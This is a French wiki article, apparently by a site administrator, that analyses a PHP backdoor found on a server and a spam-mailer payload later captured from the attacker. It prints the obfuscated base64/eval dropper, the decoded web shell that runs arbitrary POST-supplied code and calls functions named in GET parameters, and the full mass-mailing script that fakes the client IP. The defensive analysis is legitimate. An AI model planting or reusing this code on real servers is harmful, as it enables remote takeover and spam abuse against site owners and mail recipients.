'Ci8qKgogKiBAdmVyc2lvbiAyLjYKICoKICovCmlmIChpc3NldCgkX1BPU1RbImFjdGlvbiJdKSkKewogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJhY3Rpb24iXSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBjYXNlICJ0ZXN0IjoKICAgICAgICAgICAgICAgICAgICAgICAgdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInJlZ3VsYXJfdGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlZ3VsYXJfdGVzdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgIm1haWwiOgogICAgICAgICAgICAgICAgICAgICAgICBzZW5kKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybjsKfQoKaWYgKGNvdW50KCRfR0VUKSA+IDApCnsKICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkaWQgPT4gJGNvZGUpCiAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCRpZCA9PSAiaWQiKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAkY29kZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmZ1bmN0aW9uIHRlc3QoKQp7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9ICIiOwoKICAgICAgICAkZGF0YVsidmVyc2lvbiJdID0gcGhwdmVyc2lvbigpOwogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0pKQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgICAgICRkYXRhWyJzZXJ2ZXJhcGkiXSA9ICJOb3QgQXZhaWxhYmxlIjsKICAgICAgICB9CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwaHBpbmZvKDgpOwogICAgICAgICRkYXRhWyJtb2R1bGVzIl0gPSBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgICRkYXRhWyJleHRfY29ubmVjdCJdID0gZm9wZW4oImh0dHA6Ly93d3cueWEucnUvIiwgInIiKSA/IFRSVUUgOiBGQUxTRTsKICAgICAgICAkc2VyaWFsaXplc19kYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKICAgICAgICAkZW5jb2RlZF9kYXRhID0gYmFzZTY0X2VuY29kZSgkc2VyaWFsaXplc19kYXRhKTsKICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl0gLiAkZW5jb2RlZF9kYXRhOwp9CgpmdW5jdGlvbiByZWd1bGFyX3Rlc3QoKQp7CgogICAgICAgICR0byA9ICJhaXJAZXhhbXBsZS5jb20iOwogICAgICAgICRzdWJqID0gIlNVQkohIjsKICAgICAgICAkbWVzc2FnZSA9ICJFSExPIjsKICAgICAgICAkcmVzID0gbWFpbCgkdG8sJHN1YmosJG1lc3NhZ2UpOwogICAgICAgIGlmKCRyZXMpCiAgICAgICAgewogICAgICAgICAgICBlY2hvICRfUE9TVFsidGVzdF9tZXNzYWdlIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gc3RycmV2KCRfUE9TVFsidGVzdF9tZXNzYWdlIl0pOwogICAgICAgIH0KfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K';<br />
//ppZiAAS8dDJF9Q*(#_+@#TWyJ<br />
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));<br />
<br />
<br />
=== Qu'est donc que ce code tordu ? ===<br />
<br />
La variable '''$___''' est la fonction '''base64_decode()''' décryptant la variable '''$__''', demandant elle-même le décryptage de la variable '''$_''' qui est la seule intéressante du fichier. Si nous regardons ce que '''$_''' a dans le ventre, voici son contenu une fois décrypté en base64 :<br />
<br />
/**<br />
* @version 2.6<br />
*<br />
*/<br />
if (isset($_POST["action"]))<br />
{<br />
switch ($_POST["action"])<br />
{<br />
case "test":<br />
test();<br />
break;<br />
case "regular_test":<br />
regular_test();<br />
break;<br />
case "mail":<br />
send();<br />
break;<br />
default:<br />
break;<br />
}<br />
return;<br />
}<br />
<br />
if (count($_GET) > 0)<br />
{<br />
foreach ($_GET as $id => $code)<br />
{<br />
if ($id == "id")<br />
{<br />
$code();<br />
}<br />
}<br />
return;<br />
}<br />
<br />
function test()<br />
{<br />
$encoded_data = "";<br />
<br />
$data["version"] = phpversion();<br />
if (isset($_SERVER["SERVER_SOFTWARE"]))<br />
{<br />
$data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];<br />
}<br />
else<br />
{<br />
$data["serverapi"] = "Not Available";<br />
}<br />
ob_start();<br />
phpinfo(8);<br />
$data["modules"] = ob_get_contents();<br />
ob_clean();<br />
$data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;<br />
$serializes_data = serialize($data);<br />
$encoded_data = base64_encode($serializes_data);<br />
echo $_POST["test_message"] . $encoded_data;<br />
}<br />
<br />
function regular_test()<br />
{<br />
$to = "air@example.com";<br />
$subj = "SUBJ!";<br />
$message = "EHLO";<br />
$res = mail($to,$subj,$message);<br />
if($res)<br />
{<br />
echo $_POST["test_message"];<br />
}<br />
else<br />
{<br />
echo strrev($_POST["test_message"]);<br />
}<br />
}<br />
<br />
function send()<br />
{<br />
$code = base64_decode($_POST["projectcode"]);<br />
<br />
eval($code);<br />
//return;<br />
}<br />
<br />
<br />
== Analyse de ce qui se passe ==<br />
<br />
=== Le code PHP du fichier ===<br />
<br />
Autrement dit, ce code, qui est interprété par le moteur PHP, est capable de faire deux séries de tests et d'exécuter un code arbitraire envoyé en base64 via la variable '''projectcode''' envoyée en '''POST'''. Reste à savoir ce qui a bien pu être envoyé pour exécution...<br />
<br />
=== Du code PHP envoyé en POST ===<br />
<br />
Pour essayer de comprendre ce que le crackeur a derrière la tête, il faut donc le piéger et récupérer ce qu'il envoie en POST au fichier... Nous allons donc essayer de récupérer ces informations précieuses en réécrivant le fichier.<br />
<br />
=== Piéger ce code ===<br />
<br />
Nous y mettons le code PHP décrypté, sans oublier de rajouter en début de fichier la balise '''<?php''' de rigueur... Ajoutons maintenant au début du fichier un élément qui nous permettra de récupérer les variables POST :<br />
<br />
file_put_contents('/tmp/cracking_'.date('YmdHis').'.txt',print_r($_POST,true));<br />
<br />
== Autopsie d'un code malveillant ==<br />
<br />
=== 1ère étape, réception des données en POST ===<br />
<br />
Nous recevons en particulier la variable '''$_POST['code']''' qui ressemble à '''$_POST['projectcode']''' que nous cherchions :<br />
<br />
if(!isset($_POST["emails"])
        OR !isset($_POST["themes"])
        OR !isset($_POST["messages"])
        OR !isset($_POST["froms"])
)
{
    exit();
}

if(get_magic_quotes_gpc())
{
    foreach($_POST as $key => $post)
    {
        $_POST[$key] = stripcslashes($post);
    }
}

$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));

if(isset($_SERVER))
{
    $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
    }
}

if(isset($_FILES))
{
    foreach($_FILES as $key => $file)
    {
        $filename = alter_macros($aliases[$key]);
        $filename = num_macros($filename);
        $filename = text_macros($filename);
        $filename = xnum_macros($filename);
        $_FILES[$key]["name"] = $filename;
    }
}

if(empty($emails))
{
    exit();
}

foreach ($emails as $fteil => $email)
{
    $theme = $themes[array_rand($themes)];
    $theme = alter_macros($theme["theme"]);
    $theme = num_macros($theme);
    $theme = text_macros($theme);
    $theme = xnum_macros($theme);

    $message = $messages[array_rand($messages)];
    $message = alter_macros($message["message"]);
    $message = num_macros($message);
    $message = text_macros($message);
    $message = xnum_macros($message);
    $message = pass_macros($message, $passes);
    $message = fteil_macros($message, $fteil);

    $from = $froms[array_rand($froms)];
    $from = alter_macros($from["from"]);
    $from = num_macros($from);
    $from = text_macros($from);
    $from = xnum_macros($from);

    $mailer = $mailers[array_rand($mailers)];
    
    send_mail($from, $email, $theme, $message, $mailer);
} 

function send_mail($from, $to, $subj, $text, $mailer)
{
    $un = strtoupper(uniqid(time()));

    $head = "From: $from\n";
    $head .= "X-Mailer: $mailer\n";
    $head .= "Reply-To: $from\n";

    $head .= "Mime-Version: 1.0\n";
    $head .= "Content-Type: multipart/alternative;";
    $head .= "boundary=\"----------".$un."\"\n\n";
    
    $plain = strip_tags($text);
    $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";
    
    $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
    $zag .= "------------".$un."--";
    
    if(count($_FILES) > 0)
    {
        foreach($_FILES as $file)
        {
            if(file_exists($file["tmp_name"]))
            {
                $f = fopen($file["tmp_name"], "rb");
                $zag .= "------------".$un."\n";
                $zag .= "Content-Type: application/octet-stream;";
                $zag .= "name=\"".$file["name"]."\"\n";
                $zag .= "Content-Transfer-Encoding:base64\n";
                $zag .= "Content-Disposition:attachment;";
                $zag .= "filename=\"".$file["name"]."\"\n\n";
                $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
                fclose($f);
            }
        }
    }

    if(@mail($to, $subj, $zag, $head))
    {
        if(!empty($_POST['verbose']))
            echo "SENDED";
    }
    else
    {
        if(!empty($_POST['verbose']))
            echo "FAIL";
    }
    usleep(300);
}

function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);

    for($i = 0; $i < count($matches[1]); $i++)
    {

        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
}

function text_macros($content)
{
    preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $word = generate_word($rand);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }

    preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $count = $matches[1][$i];

        $word  = generate_word($count);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }


    return $content;
}

function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;

        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function generate_word($length)
{
    $chars = 'abcdefghijklmnopqrstuvyxz';
    $numChars = strlen($chars);
    $string = '';
    for($i = 0; $i < $length; $i++)
    {
        $string .= substr($chars, rand(1, $numChars) - 1, 1);
    }
    return $string;
}

function pass_macros($content, $passes)
{
    $pass = array_pop($passes);
    
    return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{    
    return str_replace("[FTEIL]", $fteil, $content);
}

function from_host($content)
{
    if(empty($replace))
    {
        $replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;
        $pos = strpos($replace, "@");
        $replace = substr($replace, $pos);
    }
    
    $replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;
    $replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;
    
    $domains = @explode(".", $replace);
    if(!empty($domains))
    {
        $level1 = @array_pop($domains);
        $level2 = @array_pop($domains);
        $replace = $level2.".".$level1;
    }
    
    return str_replace("[FHOST]", $replace, $content);
}
<br />
<br />
Nous la décryptons donc en base64 toujours :<br />
<br />
if(!isset($_POST["emails"])<br />
OR !isset($_POST["themes"])<br />
OR !isset($_POST["messages"])<br />
OR !isset($_POST["froms"])<br />
)<br />
{<br />
exit();<br />
}<br />
<br />
if(get_magic_quotes_gpc())<br />
{<br />
foreach($_POST as $key => $post)<br />
{<br />
$_POST[$key] = stripcslashes($post);<br />
}<br />
}<br />
<br />
$emails = @unserialize(base64_decode($_POST["emails"]));<br />
$themes = @unserialize(base64_decode($_POST["themes"]));<br />
$messages = @unserialize(base64_decode($_POST["messages"]));<br />
$froms = @unserialize(base64_decode($_POST["froms"]));<br />
$mailers = @unserialize(base64_decode($_POST["mailers"]));<br />
$aliases = @unserialize(base64_decode($_POST["aliases"]));<br />
$passes = @unserialize(base64_decode($_POST["passes"]));<br />
<br />
if(isset($_SERVER))<br />
{<br />
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";<br />
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))<br />
{<br />
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";<br />
}<br />
}<br />
<br />
if(isset($_FILES))<br />
{<br />
foreach($_FILES as $key => $file)<br />
{<br />
$filename = alter_macros($aliases[$key]);<br />
$filename = num_macros($filename);<br />
$filename = text_macros($filename);<br />
$filename = xnum_macros($filename);<br />
$_FILES[$key]["name"] = $filename;<br />
}<br />
}<br />
<br />
if(empty($emails))<br />
{<br />
exit();<br />
}<br />
<br />
foreach ($emails as $fteil => $email)<br />
{<br />
$theme = $themes[array_rand($themes)];<br />
$theme = alter_macros($theme["theme"]);<br />
$theme = num_macros($theme);<br />
$theme = text_macros($theme);<br />
$theme = xnum_macros($theme);<br />
<br />
$message = $messages[array_rand($messages)];<br />
$message = alter_macros($message["message"]);<br />
$message = num_macros($message);<br />
$message = text_macros($message);<br />
$message = xnum_macros($message);<br />
$message = pass_macros($message, $passes);<br />
$message = fteil_macros($message, $fteil);<br />
<br />
$from = $froms[array_rand($froms)];<br />
$from = alter_macros($from["from"]);<br />
$from = num_macros($from);<br />
$from = text_macros($from);<br />
$from = xnum_macros($from);<br />
<br />
$mailer = $mailers[array_rand($mailers)];<br />
<br />
send_mail($from, $email, $theme, $message, $mailer);<br />
} <br />
<br />
function send_mail($from, $to, $subj, $text, $mailer)<br />
{<br />
$un = strtoupper(uniqid(time()));<br />
<br />
$head = "From: $from\n";<br />
$head .= "X-Mailer: $mailer\n";<br />
$head .= "Reply-To: $from\n";<br />
<br />
$head .= "Mime-Version: 1.0\n";<br />
$head .= "Content-Type: multipart/alternative;";<br />
$head .= "boundary=\"----------".$un."\"\n\n";<br />
<br />
$plain = strip_tags($text);<br />
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";<br />
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";<br />
<br />
$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";<br />
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";<br />
$zag .= "------------".$un."--";<br />
<br />
if(count($_FILES) > 0)<br />
{<br />
foreach($_FILES as $file)<br />
{<br />
if(file_exists($file["tmp_name"]))<br />
{<br />
$f = fopen($file["tmp_name"], "rb");<br />
$zag .= "------------".$un."\n";<br />
$zag .= "Content-Type: application/octet-stream;";<br />
$zag .= "name=\"".$file["name"]."\"\n";<br />
$zag .= "Content-Transfer-Encoding:base64\n";<br />
$zag .= "Content-Disposition:attachment;";<br />
$zag .= "filename=\"".$file["name"]."\"\n\n";<br />
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";<br />
fclose($f);<br />
}<br />
}<br />
}<br />
<br />
if(@mail($to, $subj, $zag, $head))<br />
{<br />
if(!empty($_POST['verbose']))<br />
echo "SENDED";<br />
}<br />
else<br />
{<br />
if(!empty($_POST['verbose']))<br />
echo "FAIL";<br />
}<br />
usleep(300);<br />
}<br />
<br />
function alter_macros($content)<br />
{<br />
preg_match_all('#{(.*)}#Ui', $content, $matches);<br />
<br />
for($i = 0; $i < count($matches[1]); $i++)<br />
{<br />
<br />
$ns = explode("|", $matches[1][$i]);<br />
$c2 = count($ns);<br />
$rand = rand(0, ($c2 - 1));<br />
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);<br />
}<br />
return $content;<br />
}<br />
<br />
function text_macros($content)<br />
{<br />
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);<br />
<br />
for($i = 0; $i < count($matches[0]); $i++)<br />
{<br />
$min = $matches[1][$i];<br />
$max = $matches[2][$i];<br />
$rand = rand($min, $max);<br />
$word = generate_word($rand);<br />
<br />
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);<br />
}<br />
<br />
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);<br />
<br />
for($i = 0; $i < count($matches[0]); $i++)<br />
{<br />
$count = $matches[1][$i];<br />
<br />
$word = generate_word($count);<br />
<br />
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);<br />
}<br />
<br />
<br />
return $content;<br />
}<br />
<br />
function xnum_macros($content)<br />
{<br />
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);<br />
<br />
for($i = 0; $i < count($matches[0]); $i++)<br />
{<br />
$num = $matches[1][$i];<br />
$min = pow(10, $num - 1);<br />
$max = pow(10, $num) - 1;<br />
<br />
$rand = rand($min, $max);<br />
$content = str_replace($matches[0][$i], $rand, $content);<br />
}<br />
return $content;<br />
}<br />
<br />
function num_macros($content)<br />
{<br />
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);<br />
<br />
for($i = 0; $i < count($matches[0]); $i++)<br />
{<br />
$min = $matches[1][$i];<br />
$max = $matches[2][$i];<br />
$rand = rand($min, $max);<br />
$content = str_replace($matches[0][$i], $rand, $content);<br />
}<br />
return $content;<br />
}<br />
<br />
function generate_word($length)<br />
{<br />
$chars = 'abcdefghijklmnopqrstuvyxz';<br />
$numChars = strlen($chars);<br />
$string = '';<br />
for($i = 0; $i < $length; $i++)<br />
{<br />
$string .= substr($chars, rand(1, $numChars) - 1, 1);<br />
}<br />
return $string;<br />
}<br />
<br />
function pass_macros($content, $passes)<br />
{<br />
$pass = array_pop($passes);<br />
<br />
return str_replace("[PASS]", $pass, $content);<br />
}<br />
<br />
function fteil_macros($content, $fteil)<br />
{ <br />
return str_replace("[FTEIL]", $fteil, $content);<br />
}<br />
<br />
function from_host($content)<br />
{<br />
if(empty($replace))<br />
{<br />
$replace = (!empty($_SERVER['SERVER_ADMIN'])) ? $_SERVER['SERVER_ADMIN'] : NULL;<br />
$pos = strpos($replace, "@");<br />
$replace = substr($replace, $pos);<br />
}<br />
<br />
$replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;<br />
$replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;<br />
<br />
$domains = @explode(".", $replace);<br />
if(!empty($domains))<br />
{<br />
$level1 = @array_pop($domains);<br />
$level2 = @array_pop($domains);<br />
$replace = $level2.".".$level1;<br />
}<br />
<br />
return str_replace("[FHOST]", $replace, $content);<br />
}<br />
<br />
Sur plusieurs envois, pour le moment ce code est toujours le même. Reste maintenant à savoir si ce code est interprété ou si c'est un leurre (nous cherchions '''projectcode''' et nous avons décrypté ici '''code'''), ainsi que de voir de plus près ce qu'il contient.<br />
<br />
=== Étape 2, voir si ce code est utilisé quelque part ===<br />
<br />
Ce code ne semble pour autant utilisé nulle part. De plus, c'est '''$_POST['projectcode']''' que nous attendions. Nous avons bien pensé à une vérification par exemple de la signature ''md5'' du fichier PHP exécuté pour éviter des fuites d'information aux anti-crackeurs, mais nous enregistrons toutes les données en '''POST''' dès avant toute vérification possible.<br />
<br />
Nous laissons donc le filet ouvert afin de laisser le poisson se piéger dedans. Suite au prochain épisode.<br />
<br />
[[Catérogie:Informatique]]</div>
BeTa